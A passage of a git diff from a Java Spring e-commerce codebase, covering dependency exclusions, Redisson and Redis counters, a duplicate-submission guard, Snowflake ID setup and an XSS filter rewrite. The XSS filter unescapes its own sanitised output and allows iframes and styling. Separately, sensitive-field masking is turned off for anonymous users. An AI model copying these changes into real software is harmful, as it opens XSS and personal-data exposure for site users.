//修改店铺结算时间 + storeDetailService.updateSettlementDay(storeSettlementDay.getStoreId(), endTime); + } + Assertions.assertTrue(true); + } + + +} diff --git a/framework/pom.xml b/framework/pom.xml index 952d1c71..d4c011bb 100644 --- a/framework/pom.xml +++ b/framework/pom.xml @@ -15,6 +15,11 @@ jar + + org.springframework.boot + spring-boot-properties-migrator + runtime + org.junit.vintage junit-vintage-engine @@ -30,6 +35,12 @@ org.springframework.boot spring-boot-starter-quartz + + + slf4j-api + org.slf4j + + @@ -67,6 +78,10 @@ HdrHistogram org.hdrhistogram + + slf4j-api + org.slf4j + @@ -76,6 +91,12 @@ org.springframework.integration spring-integration-redis + + + slf4j-api + org.slf4j + + org.apache.commons @@ -91,29 +112,40 @@ com.baomidou mybatis-plus-boot-starter ${mybatis-plus-version} - - - org.mybatis.spring.boot - mybatis-spring-boot-starter-test - 2.2.0 + + + slf4j-api + org.slf4j + + mysql mysql-connector-java - ${mysql-connector-version} org.springframework.boot spring-boot-starter-data-redis - + + + org.redisson + redisson + ${redisson} + com.github.xiaoymin knife4j-spring-boot-starter ${knife4j.version} + + + slf4j-api + org.slf4j + + @@ -143,6 +175,12 @@ com.aliyun aliyun-java-sdk-core ${aliyun-version} + + + slf4j-api + org.slf4j + + @@ -161,6 +199,16 @@ com.aliyun dysmsapi20170525 ${aliyun-sdk-dysms-version} + + + org.jacoco.agent + org.jacoco + + + bcprov-jdk15on + org.bouncycastle + + @@ -172,6 +220,16 @@ org.apache.rocketmq rocketmq-spring-boot-starter ${rocketmq-version} + + + fastjson + com.alibaba + + + slf4j-api + org.slf4j + + @@ -195,6 +253,12 @@ org.springframework.boot spring-boot-starter-test + + + slf4j-api + org.slf4j + + @@ -220,6 +284,18 @@ groovy org.codehaus.groovy + + commons-collections4 + org.apache.commons + + + antlr4-runtime + org.antlr + + + slf4j-api + org.slf4j + @@ -227,6 +303,12 @@ org.apache.shardingsphere sharding-jdbc-spring-namespace ${sharding-jdbc-version} + + + slf4j-api + org.slf4j + + @@ -248,6 +330,20 @@ com.alipay.sdk alipay-sdk-java ${alipay-sdk-version} + + + bcprov-jdk15on + org.bouncycastle + + + commons-logging + commons-logging + + + xml-apis + xml-apis + + @@ -272,11 +368,6 @@ logstash-logback-encoder ${logstash-logback-encoder} - - - - - de.codecentric spring-boot-admin-starter-client @@ -314,6 +405,12 @@ com.googlecode.owasp-java-html-sanitizer owasp-java-html-sanitizer ${owasp-java-html-sanitizer} + + + guava + com.google.guava + + diff --git a/framework/src/main/java/cn/lili/cache/Cache.java b/framework/src/main/java/cn/lili/cache/Cache.java index 7bd4d481..0beaf69a 100644 --- a/framework/src/main/java/cn/lili/cache/Cache.java +++ b/framework/src/main/java/cn/lili/cache/Cache.java @@ -211,6 +211,14 @@ public interface Cache { * @return 计数器结果 */ Long incr(String key, long liveTime); + /** + * redis 计数器 累加 + * 注:到达liveTime之后,该次增加取消,即自动-1,而不是redis值为空 + * + * @param key 为累计的key,同一key每次调用则值 +1 + * @return 计数器结果 + */ + Long incr(String key); //-----------------------------------------------redis计数--------------------------------------------- /** diff --git a/framework/src/main/java/cn/lili/cache/config/redis/RedisConfig.java b/framework/src/main/java/cn/lili/cache/config/redis/RedisConfig.java index 62d505b2..dbb8ad39 100644 --- a/framework/src/main/java/cn/lili/cache/config/redis/RedisConfig.java +++ b/framework/src/main/java/cn/lili/cache/config/redis/RedisConfig.java @@ -4,6 +4,9 @@ import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; import lombok.extern.slf4j.Slf4j; import org.apache.commons.codec.digest.DigestUtils; +import org.redisson.Redisson; +import org.redisson.api.RedissonClient; +import org.redisson.config.Config; import org.springframework.beans.factory.annotation.Value; import org.springframework.boot.autoconfigure.condition.ConditionalOnClass; import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean; @@ -17,6 +20,7 @@ import org.springframework.cache.interceptor.KeyGenerator; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.context.annotation.Primary; +import org.springframework.core.io.ClassPathResource; import org.springframework.data.redis.cache.RedisCacheConfiguration; import org.springframework.data.redis.cache.RedisCacheManager; import org.springframework.data.redis.cache.RedisCacheWriter; @@ -27,6 +31,7 @@ import org.springframework.data.redis.core.RedisTemplate; import org.springframework.data.redis.serializer.RedisSerializationContext; import org.springframework.data.redis.serializer.StringRedisSerializer; +import java.io.IOException; import java.time.Duration; import java.util.HashMap; import java.util.Map; @@ -78,6 +83,7 @@ public class RedisConfig extends CachingConfigurerSupport { 可参考 https://blog.csdn.net/u012240455/article/details/80538540 */ ParserConfig.getGlobalInstance().addAccept("cn.lili."); + ParserConfig.getGlobalInstance().addAccept("cn.hutool.json."); return cacheManager; } @@ -98,6 +104,12 @@ public class RedisConfig extends CachingConfigurerSupport { return template; } + @Bean(destroyMethod = "shutdown") + public RedissonClient redisson() throws IOException { + return Redisson.create( + Config.fromYAML(new ClassPathResource("redisson.yaml").getInputStream())); + } + /** * 自定义缓存key生成策略,默认将使用该策略 */ diff --git a/framework/src/main/java/cn/lili/cache/impl/RedisCache.java b/framework/src/main/java/cn/lili/cache/impl/RedisCache.java index ade80a68..bbfb5c54 100644 --- a/framework/src/main/java/cn/lili/cache/impl/RedisCache.java +++ b/framework/src/main/java/cn/lili/cache/impl/RedisCache.java @@ -80,7 +80,7 @@ public class RedisCache implements Cache { @Override public Boolean remove(Object key) { - return redisTemplate.delete(key); + return redisTemplate.delete(key); } /** @@ -207,13 +207,19 @@ public class RedisCache implements Cache { RedisAtomicLong entityIdCounter = new RedisAtomicLong(key, redisTemplate.getConnectionFactory()); Long increment = entityIdCounter.getAndIncrement(); //初始设置过期时间 - if ((null == increment || increment == 0) && liveTime > 0) { + if (increment == 0 && liveTime > 0) { entityIdCounter.expire(liveTime, TimeUnit.SECONDS); } return increment; } + @Override + public Long incr(String key) { + RedisAtomicLong entityIdCounter = new RedisAtomicLong(key, redisTemplate.getConnectionFactory()); + return entityIdCounter.getAndIncrement(); + } + /** * 使用Sorted Set记录keyword * zincrby命令,对于一个Sorted Set,存在的就把分数加x(x可自行设定),不存在就创建一个分数为1的成员 diff --git a/framework/src/main/java/cn/lili/cache/limit/interceptor/LimitInterceptor.java b/framework/src/main/java/cn/lili/cache/limit/interceptor/LimitInterceptor.java index 6b840fbb..d3c01b1f 100644 --- a/framework/src/main/java/cn/lili/cache/limit/interceptor/LimitInterceptor.java +++ b/framework/src/main/java/cn/lili/cache/limit/interceptor/LimitInterceptor.java @@ -4,6 +4,7 @@ import cn.lili.cache.limit.enums.LimitTypeEnums; import cn.lili.cache.limit.annotation.LimitPoint; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; +import cn.lili.common.utils.IpUtils; import com.google.common.collect.ImmutableList; import lombok.extern.slf4j.Slf4j; import org.apache.commons.lang3.StringUtils; @@ -54,7 +55,8 @@ public class LimitInterceptor { key = limitPointAnnotation.key(); break; default: - key = limitPointAnnotation.key() + getIpAddress(); + key = limitPointAnnotation.key() + IpUtils + .getIpAddress(((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest()); } ImmutableList keys = ImmutableList.of(StringUtils.join(limitPointAnnotation.prefix(), key)); try { @@ -71,32 +73,8 @@ public class LimitInterceptor { } catch (ServiceException e) { throw e; } catch (Exception e) { - throw new RuntimeException("服务器异常,请稍后再试"); + throw new ServiceException(ResultCode.ERROR); } } - - /** - * 默认unknown常量值 - */ - private static final String UNKNOWN = "unknown"; - - /** - * 获取ip - * @return ip - */ - public String getIpAddress() { - HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest(); - String ip = request.getHeader("x-forwarded-for"); - if (ip == null || ip.length() == 0 || UNKNOWN.equalsIgnoreCase(ip)) { - ip = request.getHeader("Proxy-Client-IP"); - } - if (ip == null || ip.length() == 0 || UNKNOWN.equalsIgnoreCase(ip)) { - ip = request.getHeader("WL-Proxy-Client-IP"); - } - if (ip == null || ip.length() == 0 || UNKNOWN.equalsIgnoreCase(ip)) { - ip = request.getRemoteAddr(); - } - return ip; - } } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/common/aop/annotation/DemoSite.java b/framework/src/main/java/cn/lili/common/aop/annotation/DemoSite.java index 48facbd3..8d119f17 100644 --- a/framework/src/main/java/cn/lili/common/aop/annotation/DemoSite.java +++ b/framework/src/main/java/cn/lili/common/aop/annotation/DemoSite.java @@ -4,6 +4,8 @@ import java.lang.annotation.*; /** * 演示站点注解 + *

+ * PS 此注解需要用户登录之后才可以使用 * * @author Bulbasaur * @since 2021/7/9 1:40 上午 diff --git a/framework/src/main/java/cn/lili/common/aop/annotation/PreventDuplicateSubmissions.java b/framework/src/main/java/cn/lili/common/aop/annotation/PreventDuplicateSubmissions.java new file mode 100644 index 00000000..910906b4 --- /dev/null +++ b/framework/src/main/java/cn/lili/common/aop/annotation/PreventDuplicateSubmissions.java @@ -0,0 +1,25 @@ +package cn.lili.common.aop.annotation; + +import java.lang.annotation.*; +import java.util.concurrent.TimeUnit; + +/** + * 防止重复提交注解 + * + * @author liushuai(liushuai711 @ gmail.com) + * @version v4.0 + * @Description: + * @since 2022/1/25 09:17 + */ +@Target(ElementType.METHOD) +@Retention(RetentionPolicy.RUNTIME) +@Documented +@Inherited +public @interface PreventDuplicateSubmissions { + + + /** + * 过期时间 + */ + long expire() default 3; +} diff --git a/framework/src/main/java/cn/lili/common/aop/interceptor/PreventDuplicateSubmissionsInterceptor.java b/framework/src/main/java/cn/lili/common/aop/interceptor/PreventDuplicateSubmissionsInterceptor.java new file mode 100644 index 00000000..263cf18f --- /dev/null +++ b/framework/src/main/java/cn/lili/common/aop/interceptor/PreventDuplicateSubmissionsInterceptor.java @@ -0,0 +1,67 @@ +package cn.lili.common.aop.interceptor; + +/** + * 防重复提交业务 + * + * @author Chopper + * @version v1.0 + * 2022-01-25 09:20 + */ + +import cn.lili.cache.Cache; +import cn.lili.common.aop.annotation.PreventDuplicateSubmissions; +import cn.lili.common.enums.ResultCode; +import cn.lili.common.exception.ServiceException; +import cn.lili.common.security.context.UserContext; +import lombok.extern.slf4j.Slf4j; +import org.aspectj.lang.annotation.Aspect; +import org.aspectj.lang.annotation.Before; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Component; +import org.springframework.web.context.request.RequestContextHolder; +import org.springframework.web.context.request.ServletRequestAttributes; + +import javax.servlet.http.HttpServletRequest; + +@Aspect +@Component +@Slf4j +public class PreventDuplicateSubmissionsInterceptor { + + @Autowired + private Cache cache; + + + @Before("@annotation(preventDuplicateSubmissions)") + public void interceptor(PreventDuplicateSubmissions preventDuplicateSubmissions) { + + try { + Long count = cache.incr(getParams(), preventDuplicateSubmissions.expire()); + //如果超过1或者设置的参数,则表示重复提交了 + if (count.intValue() >= preventDuplicateSubmissions.expire()) { + throw new ServiceException(ResultCode.LIMIT_ERROR); + } + } + //如果参数为空,则表示用户未登录,直接略过,不做处理 + catch (NullPointerException e) { + return; + } catch (ServiceException e) { + throw e; + } catch (Exception e) { + throw new ServiceException(ResultCode.ERROR); + } + } + + /** + * 获取表单参数 + * + * @return + */ + private String getParams() { + HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest(); + //请求地址 + return request.getRequestURI() + UserContext.getCurrentUser().getId() + UserContext.getCurrentUser().getUsername(); + } + + +} diff --git a/framework/src/main/java/cn/lili/common/enums/PromotionTypeEnum.java b/framework/src/main/java/cn/lili/common/enums/PromotionTypeEnum.java index 68006dac..44dfa687 100644 --- a/framework/src/main/java/cn/lili/common/enums/PromotionTypeEnum.java +++ b/framework/src/main/java/cn/lili/common/enums/PromotionTypeEnum.java @@ -23,7 +23,7 @@ public enum PromotionTypeEnum { /** * 有促销库存的活动类型 */ - static PromotionTypeEnum[] haveStockPromotion = new PromotionTypeEnum[]{PINTUAN, SECKILL, KANJIA, POINTS_GOODS}; + static final PromotionTypeEnum[] haveStockPromotion = new PromotionTypeEnum[]{PINTUAN, SECKILL, KANJIA, POINTS_GOODS}; private final String description; diff --git a/framework/src/main/java/cn/lili/common/enums/ResultCode.java b/framework/src/main/java/cn/lili/common/enums/ResultCode.java index 84203990..323d4516 100644 --- a/framework/src/main/java/cn/lili/common/enums/ResultCode.java +++ b/framework/src/main/java/cn/lili/common/enums/ResultCode.java @@ -115,8 +115,7 @@ public enum ResultCode { USER_AUTH_EXPIRED(20004, "用户已退出,请重新登录"), USER_AUTHORITY_ERROR(20005, "权限不足"), USER_CONNECT_LOGIN_ERROR(20006, "未找到登录信息"), - USER_NAME_EXIST(20007, "该用户名已被注册"), - USER_PHONE_EXIST(20008, "该手机号已被注册"), + USER_EXIST(20008, "该用户名或手机号已被注册"), USER_PHONE_NOT_EXIST(20009, "手机号不存在"), USER_PASSWORD_ERROR(20010, "密码不正确"), USER_NOT_PHONE(20011, "非当前用户的手机号"), diff --git a/framework/src/main/java/cn/lili/common/exception/GlobalControllerExceptionHandler.java b/framework/src/main/java/cn/lili/common/exception/GlobalControllerExceptionHandler.java index a9715228..56e99398 100644 --- a/framework/src/main/java/cn/lili/common/exception/GlobalControllerExceptionHandler.java +++ b/framework/src/main/java/cn/lili/common/exception/GlobalControllerExceptionHandler.java @@ -132,4 +132,18 @@ public class GlobalControllerExceptionHandler { return ResultUtil.error(ResultCode.PARAMS_ERROR); } + /** + * bean校验未通过异常 + * + * @see javax.validation.Valid + * @see org.springframework.validation.Validator + * @see org.springframework.validation.DataBinder + */ + @ExceptionHandler(ConstraintViolationException.class) + @ResponseStatus(HttpStatus.BAD_REQUEST) + @ResponseBody + public ResultMessage constraintViolationExceptionHandler(HttpServletRequest request, final Exception e, HttpServletResponse response) { + ConstraintViolationException exception = (ConstraintViolationException) e; + return ResultUtil.error(ResultCode.PARAMS_ERROR.code(), exception.getMessage()); + } } diff --git a/framework/src/main/java/cn/lili/common/security/AuthUser.java b/framework/src/main/java/cn/lili/common/security/AuthUser.java index b7bc78cb..74717bfa 100644 --- a/framework/src/main/java/cn/lili/common/security/AuthUser.java +++ b/framework/src/main/java/cn/lili/common/security/AuthUser.java @@ -25,6 +25,11 @@ public class AuthUser implements Serializable { */ private String nickName; + /** + * 头像 + */ + private String face; + /** * id */ @@ -63,16 +68,18 @@ public class AuthUser implements Serializable { */ private Boolean isSuper = false; - public AuthUser(String username, String id, String nickName, UserEnums role) { + public AuthUser(String username, String id, String nickName, String face, UserEnums role) { this.username = username; + this.face = face; this.id = id; this.role = role; this.nickName = nickName; } - public AuthUser(String username, String id, UserEnums manager, String nickName, Boolean isSuper) { + public AuthUser(String username, String id, String face, UserEnums manager, String nickName, Boolean isSuper) { this.username = username; this.id = id; + this.face = face; this.role = manager; this.isSuper = isSuper; this.nickName = nickName; diff --git a/framework/src/main/java/cn/lili/common/security/context/UserContext.java b/framework/src/main/java/cn/lili/common/security/context/UserContext.java index 6fdd6378..311c6bcb 100644 --- a/framework/src/main/java/cn/lili/common/security/context/UserContext.java +++ b/framework/src/main/java/cn/lili/common/security/context/UserContext.java @@ -37,6 +37,19 @@ public class UserContext { return null; } + /** + * 根据request获取用户信息 + * + * @return 授权用户 + */ + public static String getUuid() { + if (RequestContextHolder.getRequestAttributes() != null) { + HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest(); + return request.getHeader(SecurityEnum.UUID.getValue()); + } + return null; + } + /** * 根据jwt获取token重的用户信息 diff --git a/framework/src/main/java/cn/lili/common/security/enums/SecurityEnum.java b/framework/src/main/java/cn/lili/common/security/enums/SecurityEnum.java index 4d27d941..c89a3f4b 100644 --- a/framework/src/main/java/cn/lili/common/security/enums/SecurityEnum.java +++ b/framework/src/main/java/cn/lili/common/security/enums/SecurityEnum.java @@ -10,7 +10,7 @@ public enum SecurityEnum { /** * 存在与header中的token参数头 名 */ - HEADER_TOKEN("accessToken"), USER_CONTEXT("userContext"), JWT_SECRET("secret"); + HEADER_TOKEN("accessToken"), USER_CONTEXT("userContext"), JWT_SECRET("secret"), UUID("uuid"); String value; diff --git a/framework/src/main/java/cn/lili/common/security/filter/XssHttpServletRequestWrapper.java b/framework/src/main/java/cn/lili/common/security/filter/XssHttpServletRequestWrapper.java index 8b36dd74..74dff93a 100644 --- a/framework/src/main/java/cn/lili/common/security/filter/XssHttpServletRequestWrapper.java +++ b/framework/src/main/java/cn/lili/common/security/filter/XssHttpServletRequestWrapper.java @@ -2,9 +2,11 @@ package cn.lili.common.security.filter; import cn.hutool.core.text.CharSequenceUtil; +import cn.hutool.http.HtmlUtil; import cn.hutool.json.JSONUtil; import lombok.extern.slf4j.Slf4j; -import org.owasp.html.Sanitizers; +import org.owasp.html.HtmlPolicyBuilder; +import org.owasp.html.PolicyFactory; import javax.servlet.ReadListener; import javax.servlet.ServletInputStream; @@ -17,7 +19,6 @@ import java.io.InputStreamReader; import java.nio.charset.StandardCharsets; import java.util.HashMap; import java.util.LinkedHashMap; -import java.util.Locale; import java.util.Map; /** @@ -30,28 +31,26 @@ import java.util.Map; @Slf4j public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper { - - /** - * xss过滤参数 - * - * @todo 这里的参数应该更智能些,例如iv,前端的参数包含这两个字母就会放过,这是有问题的 - */ - private static final String[] IGNORE_FIELD = { - "logo", - "url", - "photo", - "intro", - "content", - "name", - "image", - "encrypted", - "iv", - "mail", - "sell", - "privateKey", - "wechatpay", + //允许的标签 + private static final String[] allowedTags = {"h1", "h2", "h3", "h4", "h5", "h6", + "span", "strong", + "img", "video", "source", "iframe", "code", + "blockquote", "p", "div", + "ul", "ol", "li", + "table", "thead", "caption", "tbody", "tr", "th", "td", "br", + "a" }; + //需要转化的标签 + private static final String[] needTransformTags = {"article", "aside", "command", "datalist", "details", "figcaption", "figure", + "footer", "header", "hgroup", "section", "summary"}; + + //带有超链接的标签 + private static final String[] linkTags = {"img", "video", "source", "a", "iframe", "p"}; + + //带有超链接的标签 + private static final String[] allowAttributes = {"style", "src", "href", "target", "width", "height"}; + public XssHttpServletRequestWrapper(HttpServletRequest request) { super(request); } @@ -252,9 +251,20 @@ public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper { private String cleanXSS(String value) { if (value != null) { - value = Sanitizers.FORMATTING.and(Sanitizers.LINKS).sanitize(value); + // 自定义策略 + PolicyFactory policy = new HtmlPolicyBuilder() + .allowStandardUrlProtocols() + //所有允许的标签 + .allowElements(allowedTags) + //内容标签转化为div + .allowElements((elementName, attributes) -> "div", needTransformTags) + .allowAttributes(allowAttributes).onElements(linkTags) + .allowStyling() + .toFactory(); + // basic prepackaged policies for links, tables, integers, images, styles, blocks + value = policy.sanitize(value); } - return value; + return HtmlUtil.unescape(value); } /** @@ -265,12 +275,7 @@ public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper { * @return 参数值 */ private String filterXss(String name, String value) { - if (CharSequenceUtil.containsAny(name.toLowerCase(Locale.ROOT), IGNORE_FIELD)) { - // 忽略的处理,(过滤敏感字符) - return value; - } else { - return cleanXSS(value); - } + return cleanXSS(value); } } diff --git a/framework/src/main/java/cn/lili/common/security/sensitive/SensitiveJsonSerializer.java b/framework/src/main/java/cn/lili/common/security/sensitive/SensitiveJsonSerializer.java index 506e8c41..86ebd462 100644 --- a/framework/src/main/java/cn/lili/common/security/sensitive/SensitiveJsonSerializer.java +++ b/framework/src/main/java/cn/lili/common/security/sensitive/SensitiveJsonSerializer.java @@ -72,7 +72,7 @@ public class SensitiveJsonSerializer extends JsonSerializer AuthUser authUser = UserContext.getCurrentUser(); //默认脱敏 if (authUser == null) { - return true; + return false; } //如果是店铺 diff --git a/framework/src/main/java/cn/lili/common/security/token/base/AbstractTokenGenerate.java b/framework/src/main/java/cn/lili/common/security/token/base/AbstractTokenGenerate.java index 48418b65..2002baa7 100644 --- a/framework/src/main/java/cn/lili/common/security/token/base/AbstractTokenGenerate.java +++ b/framework/src/main/java/cn/lili/common/security/token/base/AbstractTokenGenerate.java @@ -11,16 +11,16 @@ import cn.lili.common.security.token.Token; * @version v1.0 * 2020-11-13 10:13 */ -public abstract class AbstractTokenGenerate { +public abstract class AbstractTokenGenerate { /** * 生成token * - * @param username 用户名 + * @param user 用户名 * @param longTerm 是否长时间有效 * @return TOKEN对象 */ - public abstract Token createToken(String username, Boolean longTerm); + public abstract Token createToken(T user, Boolean longTerm); /** * 刷新token diff --git a/framework/src/main/java/cn/lili/common/utils/CurrencyUtil.java b/framework/src/main/java/cn/lili/common/utils/CurrencyUtil.java index 7e77edcb..aa030d6e 100644 --- a/framework/src/main/java/cn/lili/common/utils/CurrencyUtil.java +++ b/framework/src/main/java/cn/lili/common/utils/CurrencyUtil.java @@ -2,6 +2,7 @@ package cn.lili.common.utils; import java.math.BigDecimal; import java.math.RoundingMode; +import java.util.Arrays; /** * 金额计算工具 @@ -24,27 +25,29 @@ public final class CurrencyUtil { /** * 提供精确的加法运算。 * - * @param v1 被加数 - * @param v2 加数 - * @return 两个参数的和 + * @return 累加之和 */ - public static Double add(double v1, double v2) { - BigDecimal b1 = BigDecimal.valueOf(v1); - BigDecimal b2 = BigDecimal.valueOf(v2); - return b1.add(b2).setScale(2, RoundingMode.HALF_UP).doubleValue(); + public static Double add(double... params) { + BigDecimal result = new BigDecimal("0"); + for (double param : params) { + BigDecimal bigParam = BigDecimal.valueOf(param); + result = result.add(bigParam).setScale(2, RoundingMode.HALF_UP); + } + return result.doubleValue(); } - /** * 提供精确的减法运算。 * - * @param v1 被减数 - * @param v2 减数 - * @return 两个参数的差 + * @return 第一个参数为被减数,其余数字为减数 */ - public static double sub(double v1, double v2) { - BigDecimal b1 = BigDecimal.valueOf(v1); - BigDecimal b2 = BigDecimal.valueOf(v2); - return b1.subtract(b2).setScale(2, RoundingMode.HALF_UP).doubleValue(); + public static Double sub(double... params) { + BigDecimal result = BigDecimal.valueOf(params[0]); + params = Arrays.stream(params).skip(1).toArray(); + for (double param : params) { + BigDecimal bigParam = BigDecimal.valueOf(param); + result = result.subtract(bigParam).setScale(2, RoundingMode.HALF_UP); + } + return result.doubleValue(); } /** diff --git a/framework/src/main/java/cn/lili/common/utils/SnowFlake.java b/framework/src/main/java/cn/lili/common/utils/SnowFlake.java index d7a788cc..e3cb3d70 100644 --- a/framework/src/main/java/cn/lili/common/utils/SnowFlake.java +++ b/framework/src/main/java/cn/lili/common/utils/SnowFlake.java @@ -2,6 +2,7 @@ package cn.lili.common.utils; import cn.hutool.core.lang.Snowflake; import cn.hutool.core.util.IdUtil; +import lombok.extern.slf4j.Slf4j; import java.util.Date; @@ -10,18 +11,29 @@ import java.util.Date; * * @author Chopper */ +@Slf4j public class SnowFlake { - /** - * 机器id - */ - private static long workerId = 0L; - /** - * 机房id - */ - private static long datacenterId = 0L; +// /** +// * 机器id +// */ +// private static long workerId = 0L; +// /** +// * 机房id +// */ +// public static long datacenterId = 0L; - private static Snowflake snowflake = IdUtil.createSnowflake(workerId, datacenterId); + private static Snowflake snowflake; + + /** + * 初始化配置 + * + * @param workerId + * @param datacenterId + */ + public static void initialize(long workerId, long datacenterId) { + snowflake = IdUtil.getSnowflake(workerId, datacenterId); + } public static long getId() { return snowflake.nextId(); @@ -29,12 +41,14 @@ public class SnowFlake { /** * 生成字符,带有前缀 + * * @param prefix * @return */ public static String createStr(String prefix) { return prefix + DateUtil.toString(new Date(), "yyyyMMdd") + SnowFlake.getId(); } + public static String getIdStr() { return snowflake.nextId() + ""; } diff --git a/framework/src/main/java/cn/lili/common/utils/SnowflakeInitiator.java b/framework/src/main/java/cn/lili/common/utils/SnowflakeInitiator.java new file mode 100644 index 00000000..4a36af5c --- /dev/null +++ b/framework/src/main/java/cn/lili/common/utils/SnowflakeInitiator.java @@ -0,0 +1,58 @@ +package cn.lili.common.utils; + +import cn.lili.cache.Cache; +import com.alibaba.fastjson.JSON; +import lombok.AllArgsConstructor; +import lombok.Data; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Component; + +import javax.annotation.PostConstruct; +import java.util.concurrent.TimeUnit; + +/** + * SnowflakeInitiator + * + * @author Chopper + * @version v1.0 + * 2022-01-14 14:04 + */ +@Component +@Slf4j +public class SnowflakeInitiator { + + /** + * 缓存前缀 + */ + private static String KEY = "{Snowflake}"; + + @Autowired + private Cache cache; + + /** + * 尝试初始化 + * + * @return + */ + @PostConstruct + public void init() { + Long num = cache.incr(KEY); + long dataCenter = num / 32; + long workedId = num % 32; + //如果数据中心大于32,则抹除缓存,从头开始 + if (dataCenter >= 32) { + cache.remove(KEY); + num = cache.incr(KEY); + dataCenter = num / 32; + workedId = num % 32; + } + SnowFlake.initialize(workedId, dataCenter); + } + + public static void main(String[] args) { + SnowFlake.initialize(0, 8); + + System.out.println(SnowFlake.getId()); + } +} \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/common/vo/SearchVO.java b/framework/src/main/java/cn/lili/common/vo/SearchVO.java index d0d6c818..3f752e79 100644 --- a/framework/src/main/java/cn/lili/common/vo/SearchVO.java +++ b/framework/src/main/java/cn/lili/common/vo/SearchVO.java @@ -31,8 +31,7 @@ public class SearchVO implements Serializable { if (StringUtils.isEmpty(startDate)) { return null; } - Date date = DateUtil.toDate(startDate, DateUtil.STANDARD_DATE_FORMAT); - return date; + return DateUtil.toDate(startDate, DateUtil.STANDARD_DATE_FORMAT); } public Date getConvertEndDate() { diff --git a/framework/src/main/java/cn/lili/elasticsearch/BaseElasticsearchService.java b/framework/src/main/java/cn/lili/elasticsearch/BaseElasticsearchService.java index 59fe971d..5cc50ec4 100644 --- a/framework/src/main/java/cn/lili/elasticsearch/BaseElasticsearchService.java +++ b/framework/src/main/java/cn/lili/elasticsearch/BaseElasticsearchService.java @@ -331,6 +331,9 @@ public abstract class BaseElasticsearchService { " }\n" + " }\n" + " },\n" + + " \"promotionMapJson\": {\n" + + " \"type\": \"text\"\n" + + " },\n" + " \"thumbnail\": {\n" + " \"type\": \"text\",\n" + " \"fields\": {\n" + diff --git a/framework/src/main/java/cn/lili/elasticsearch/config/ElasticsearchConfig.java b/framework/src/main/java/cn/lili/elasticsearch/config/ElasticsearchConfig.java index 22a709ad..38b63496 100644 --- a/framework/src/main/java/cn/lili/elasticsearch/config/ElasticsearchConfig.java +++ b/framework/src/main/java/cn/lili/elasticsearch/config/ElasticsearchConfig.java @@ -63,7 +63,7 @@ public class ElasticsearchConfig extends AbstractElasticsearchConfiguration { restBuilder.setRequestConfigCallback(requestConfigBuilder -> requestConfigBuilder.setConnectTimeout(1000) //time until a connection with the server is established. .setSocketTimeout(12 * 1000) //time of inactivity to wait for packets[data] to receive. - .setConnectionRequestTimeout(2 * 1000)); //time to fetch a connection from the connection pool 0 for infinite. + .setConnectionRequestTimeout(-1)); //time to fetch a connection from the connection pool 0 for infinite. client = new RestHighLevelClient(restBuilder); return client; diff --git a/framework/src/main/java/cn/lili/modules/connect/serviceimpl/ConnectServiceImpl.java b/framework/src/main/java/cn/lili/modules/connect/serviceimpl/ConnectServiceImpl.java index 0d0b1ab2..a71f8f79 100644 --- a/framework/src/main/java/cn/lili/modules/connect/serviceimpl/ConnectServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/connect/serviceimpl/ConnectServiceImpl.java @@ -87,7 +87,7 @@ public class ConnectServiceImpl extends ServiceImpl impl this.remove(queryWrapper); throw new NoPermissionException("未绑定用户"); } - return memberTokenGenerate.createToken(member.getUsername(), longTerm); + return memberTokenGenerate.createToken(member, longTerm); } catch (NoPermissionException e) { throw e; } @@ -222,7 +222,7 @@ public class ConnectServiceImpl extends ServiceImpl impl //如果不存在会员,则进行绑定微信openid 和 unionid,并且登录 if (member != null) { bindMpMember(openId, unionId, member); - return memberTokenGenerate.createToken(member.getUsername(), true); + return memberTokenGenerate.createToken(member, true); } //如果没有会员,则根据手机号注册会员 @@ -230,7 +230,7 @@ public class ConnectServiceImpl extends ServiceImpl impl memberService.save(newMember); newMember = memberService.findByUsername(newMember.getUsername()); bindMpMember(openId, unionId, newMember); - return memberTokenGenerate.createToken(newMember.getUsername(), true); + return memberTokenGenerate.createToken(newMember, true); } @Override diff --git a/framework/src/main/java/cn/lili/modules/distribution/entity/dto/DistributionGoodsSearchParams.java b/framework/src/main/java/cn/lili/modules/distribution/entity/dto/DistributionGoodsSearchParams.java index 4f895f69..4f9cd438 100644 --- a/framework/src/main/java/cn/lili/modules/distribution/entity/dto/DistributionGoodsSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/distribution/entity/dto/DistributionGoodsSearchParams.java @@ -2,13 +2,14 @@ package cn.lili.modules.distribution.entity.dto; import cn.hutool.core.text.CharSequenceUtil; import cn.lili.common.security.context.UserContext; -import cn.lili.common.utils.StringUtils; import cn.lili.common.vo.PageVO; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import io.swagger.annotations.ApiModelProperty; import lombok.Data; import lombok.EqualsAndHashCode; +import java.util.Objects; + /** * 分销员商品查询条件 * @@ -37,13 +38,13 @@ public class DistributionGoodsSearchParams extends PageVO { public QueryWrapper storeQueryWrapper() { QueryWrapper queryWrapper = this.distributionQueryWrapper(); - queryWrapper.eq("dg.store_id", UserContext.getCurrentUser().getStoreId()); + queryWrapper.eq("dg.store_id", Objects.requireNonNull(UserContext.getCurrentUser()).getStoreId()); return queryWrapper; } public QueryWrapper distributionQueryWrapper() { QueryWrapper queryWrapper = new QueryWrapper<>(); - queryWrapper.like(StringUtils.isNotEmpty(goodsName), "dg.goods_name", goodsName); + queryWrapper.like(CharSequenceUtil.isNotEmpty(goodsName), "dg.goods_name", goodsName); return queryWrapper; } diff --git 